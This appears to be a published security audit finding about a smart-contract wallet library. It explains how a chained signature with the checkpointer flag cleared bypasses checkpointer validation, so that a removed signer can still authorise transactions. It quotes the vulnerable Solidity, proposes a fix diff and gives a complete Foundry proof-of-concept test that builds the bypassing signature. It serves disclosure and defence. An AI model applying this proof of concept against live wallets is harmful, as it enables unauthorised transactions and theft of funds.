Chained signature with checkpoint usage disabled can bypass all checkpointer validation
A chained signature can omit the checkpointer flag, causing the checkpointer to be ignored and allowing a signer who was removed from the wallet's current configuration to still authorise transactions using an outdated configuration.
Submitted by hgrano
Finding description and impact
Consider a scenario where (1) the wallet is behind the checkpointer and (2) a chained signature is used; however, bit 6 (0x40 - the checkpointer usage flag) is zero. As a result, when BaseSig.recover is called the below if-block on BaseSig.sol:88-106 will be skipped:
if (signatureFlag & 0x40 == 0x40 && _checkpointer == address(0)) {
// Override the checkpointer
// not ideal, but we don't have much room in the stack
(_checkpointer, rindex) = _signature.readAddress(rindex);
if (!_ignoreCheckpointer) {
// Next 3 bytes determine the checkpointer data size
uint256 checkpointerDataSize;
(checkpointerDataSize, rindex) = _signature.readUint24(rindex);
// Read the checkpointer data
bytes memory checkpointerData = _signature[rindex:rindex + checkpointerDataSize];
// Call the middleware
snapshot = ICheckpointer(_checkpointer).snapshotFor(address(this), checkpointerData);
rindex += checkpointerDataSize;
}
}
We can see that this will leave the following variables unset (zero-valued):
_checkpointersnapshot.checkpointsnapshot.imageHash
We then enter recoverChained with the above unset variables passed in:
function recoverChained(
Payload.Decoded memory _payload,
address _checkpointer,
Snapshot memory _snapshot,
bytes calldata _signature
) internal view returns (uint256 threshold, uint256 weight, bytes32 imageHash, uint256 checkpoint, bytes32 opHash) {
Payload.Decoded memory linkedPayload;
linkedPayload.kind = Payload.KIND_CONFIG_UPDATE;
uint256 rindex;
uint256 prevCheckpoint = type(uint256).max;
while (rindex < _signature.length) {
uint256 nrindex;
{
uint256 sigSize;
(sigSize, rindex) = _signature.readUint24(rindex);
nrindex = sigSize + rindex;
}
address checkpointer = nrindex == _signature.length ? _checkpointer : address(0);
if (prevCheckpoint == type(uint256).max) {
(threshold, weight, imageHash, checkpoint, opHash) =
recover(_payload, _signature[rindex:nrindex], true, checkpointer);
} else {
// [...]
}
// [...]
Let’s assume the signature chain contains one signature. Therefore, in the first loop iteration above nrindex == _signature.length and address checkpointer is set to _checkpointer = address(0).
We then enter recover again - this time with _ignoreCheckpointer == true and _checkpointer == address(0). Bit 6 (0x40) can be set to 1 for the signature inside the chain, and so we enter the if block shown earlier but ignore the checkpointer:
if (signatureFlag & 0x40 == 0x40 && _checkpointer == address(0)) {
// Override the checkpointer
// not ideal, but we don't have much room in the stack
(_checkpointer, rindex) = _signature.readAddress(rindex);
if (!_ignoreCheckpointer) {
// [...]
}
}
To make signature validation succeed, it is easy enough to provide the necessary checkpointer, checkpoint and threshold. Assuming the non-chained signature is valid, with respect to the wallet configuration, the recovered imageHash will be valid. The final validation of the non-chained signature (BaseSig.sol:138-140) will succeed because snapshot.imageHash == bytes32(0) as the checkpointer has been ignored:
if (snapshot.imageHash != bytes32(0) && snapshot.imageHash != imageHash && checkpoint <= snapshot.checkpoint) {
revert UnusedSnapshot(snapshot);
}
Finally, we end up back in recoverChained (BaseSig.sol:179-193) and all the validations will pass (comments added below for explanation):
if (_snapshot.imageHash == imageHash) {
// [ will not enter: _snapshot.imageHash is still zero and imageHash is non-zero ]
_snapshot.imageHash = bytes32(0);
}
if (checkpoint >= prevCheckpoint) {
// [ will not enter: prevCheckpoint is type(uint256).max ]
revert WrongChainedCheckpointOrder(checkpoint, prevCheckpoint);
}
linkedPayload.imageHash = imageHash;
prevCheckpoint = checkpoint;
} // [ loop ends here ]
if (_snapshot.imageHash != bytes32(0) && checkpoint <= _snapshot.checkpoint) {
// [ will not enter: _snapshot.imageHash is still zero ]
revert UnusedSnapshot(_snapshot);
}
After all this, the signature recovery doesn’t revert and returns an image hash; which is valid for the wallet’s current configuration. The checkpointer has been ignored completely.
Impact: an evicted signer can maliciously sign a payload (valid with respect to the stale wallet configuration) and perform operations on the wallet.
Recommended mitigation steps
Do not permit the checkpointer to be disabled in the signature (bit 6 left unset) if a chained signature is used. The signature recovery should revert in this case. For example, create a new custom error for this and add it here:
--- a/src/modules/auth/BaseSig.sol
+++ b/src/modules/auth/BaseSig.sol
@@ -107,6 +107,9 @@ library BaseSig {
// If signature type is 01 or 11 we do a chained signature
if (signatureFlag & 0x01 == 0x01) {
+ if (signatureFlag & 0x40 == 0) {
+ revert MissingCheckpointer();
+ }
return recoverChained(_payload, _checkpointer, snapshot, _signature[rindex:]);
}
Proof of Concept
Add the below test case to BaseSigTest and run using forge test --match-test test_PoC_checkpointer_bypass.
function test_PoC_checkpointer_bypass() external {
(address alice, uint256 aliceKey) = makeAddrAndKey("alice");
(address bob, uint256 bobKey) = makeAddrAndKey("bob");
address checkpointer = address(0xBEEF);
uint256 checkpoint1 = 1;
uint256 checkpoint2 = 2;
// Let's assume config1 is currently where the wallet contract is at, while the checkpointer is ahead at config2
string memory config1 = PrimitivesRPC.newConfigWithCheckpointer(
vm, checkpointer, 1, checkpoint1, string(abi.encodePacked("signer:", vm.toString(alice), ":1"))
);
// In config2 Alice is no longer a signer so she shouldn't be able to authorise any more transactions
string memory config2 = PrimitivesRPC.newConfigWithCheckpointer(
vm, checkpointer, 1, checkpoint2, string(abi.encodePacked("signer:", vm.toString(bob), ":2"))
);
Payload.Decoded memory finalPayload;
finalPayload.kind = Payload.KIND_TRANSACTIONS;
Snapshot memory latestSnapshot = Snapshot(PrimitivesRPC.getImageHash(vm, config2), 2);
bytes memory chainedSignature;
{
(uint8 v, bytes32 r, bytes32 s) =
vm.sign(aliceKey, Payload.hashFor(finalPayload, address(baseSigImp)));
// One and only signature within the chain which is valid for config1 (currently out of date)
bytes memory signature = PrimitivesRPC.toEncodedSignature(
vm,
config1,
string(
abi.encodePacked(
vm.toString(alice),
":hash:",
vm.toString(r),
":",
vm.toString(s),
":",
vm.toString(v)
)
),
true
);
// Remove checkpointer data from the signature
bytes memory adjustedSignature = new bytes(signature.length - 3);
for (uint i = 0; i < adjustedSignature.length; i++) {
if (i < 21) {
adjustedSignature[i] = signature[i];
} else {
adjustedSignature[i] = signature[i + 3];
}
}
// Construct the chained signature
bytes1 outerFlag = bytes1(uint8(0x5)); // 0b000 001 01 => no checkpointer usage
uint24 innerSigSize = uint24(adjustedSignature.length);
chainedSignature = new bytes(adjustedSignature.length + 4);
chainedSignature[0] = outerFlag;
chainedSignature[1] = bytes1(uint8(innerSigSize >> 16));
chainedSignature[2] = bytes1(uint8(innerSigSize >> 8));
chainedSignature[3] = bytes1(uint8(innerSigSize));
for (uint256 i = 4; i < chainedSignature.length; i++) {
chainedSignature[i] = adjustedSignature[i - 4];
}
}
vm.mockCall(
checkpointer, abi.encodeWithSelector(ICheckpointer.snapshotFor.selector), abi.encode(latestSnapshot)
);
(uint256 threshold, uint256 weight, bytes32 imageHash,,) = baseSigImp.recoverPub(finalPayload, chainedSignature, false, address(0));
assertGe(weight, threshold, "Weight must at least reach threshold");
assertEq(imageHash, PrimitivesRPC.getImageHash(vm, config1), "Must have correct image hash");
}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The code does not enforce that a chained signature includes the checkpointer flag, allowing the checkpointer to be bypassed when the flag is unset.
What the attacker needed
Wallet uses a checkpointer; attacker is an evicted signer; attacker can submit a chained signature
The fix
The code should revert if a chained signature is used without the checkpointer flag set.
How it was found
- Create a wallet configuration with a checkpointer and a signer.
- Update the configuration to remove the signer, with the checkpointer ahead.
- Craft a chained signature using the old configuration and without the checkpointer flag.
- Call recoverPub with the chained signature and verify it succeeds.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A wallet uses a checkpointer to track the latest configuration. If a signer is removed, the checkpointer should reject signatures from them. This report shows that by crafting a special chained signature without a checkpointer flag, the checkpointer is skipped, so an old signer can still sign transactions.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.